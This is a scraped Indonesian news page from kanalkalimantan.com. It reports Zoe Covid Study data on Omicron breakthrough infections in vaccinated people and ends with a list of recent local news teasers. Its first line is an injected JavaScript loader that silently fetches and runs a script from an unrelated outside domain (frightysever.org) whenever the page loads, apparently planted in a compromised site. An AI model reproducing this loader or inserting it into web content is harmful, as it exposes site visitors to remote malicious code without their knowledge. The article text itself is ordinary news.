(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

WASPADA. Varian Omicron Ternyata Bisa Menginfeksi Orang yang Sudah Vaksin


KANALKALIMANTAN.COM, JAKARTA– Data terbaru menunjukkan varian Omicron bisa menyebabkan infeksi terobosan atau infeksi pada orang yang sudah vaksinasi penuh. Meskipun varian baru virus corona Covid-19 ini hanya menyebabkan gejala ringan.

Sebagaimana diketahui, varian Omicron diketahui hanya menyebabkan gejala mirip pilek atau flu. Para ahli mengatakan hal itu bisa membuat varian Omicron lebih sulit dideteksi. Apalagi, orang-orang mungkin tidak akan melakukan tes Covid-19 bila tidak mengalami gejala utama virus corona Covid-19, seperti batuk, demam dan kehilangan indera penciuman atau perasa.

Selain itu, kasus rawat inap mungkin juga akan meningkat ketika varian baru virus corona ini menyebar, baik pada orang yang sudah vaksinasi maupun belum. Tapi dilansir dari The Sun—seperti dikutip sura.com, mitra media kanalkalimantan.com, tingkat kasus infeksi varian Omicron pada orang yang sudah vaksinasi masih rendah. Hal ini menunjukkan bahwa vaksin Covid-19 merupakan cara paling efektif untuk melindungi Anda dari virus.

Menurut Studi Zoe Covid, sekitar 83.658 orang mengalami gejala virus corona Covid-19 setiap hari, jumlah ini naik dari minggu lalu yang sekitar 80.483.

 

Baca juga : Pendulangan Intan Tradisional Pumpung Jadi Pintu Gerbang Geopark Meratus

Studi ini memperkirakan 25.411 di antaranya adalah orang yang sudah vaksinasi, jumlah ini juga naik 24.926 dibandingkan minggu lalu.

Studi itu menemukan jumlah kasus baru meningkat setiap harinya pada orang yang berusia di bawah 55 tahun, tapi tetap rendah pada mereka yang berusia di atas 55 tahun.

Hal ini menunjukkan bahwa suntikan booster vaksin Covid-19 yang diberikan pada kelompok usia ini bekerja untuk memberikan perlindungan yang lebih baik terhadap varian Delta, yang masih menjadi strain dominan.

Tim Spector, profesor epidemiologi genetik di King’s College London dan ilmuwan utama dalam studi Zoe, mengatakan tanda-tanda awal menunjukkan varian Omicron ini bisa menginfeksi orang yang sudah vaksinasi tapi hanya menyebabkan gejala pilek ringan. (Kanalkalimantan.com/suara)

Editor : cell


Desy Arfianty

Recent Posts

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

2 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

4 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

5 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

7 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

8 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

8 jam ago

This website uses cookies.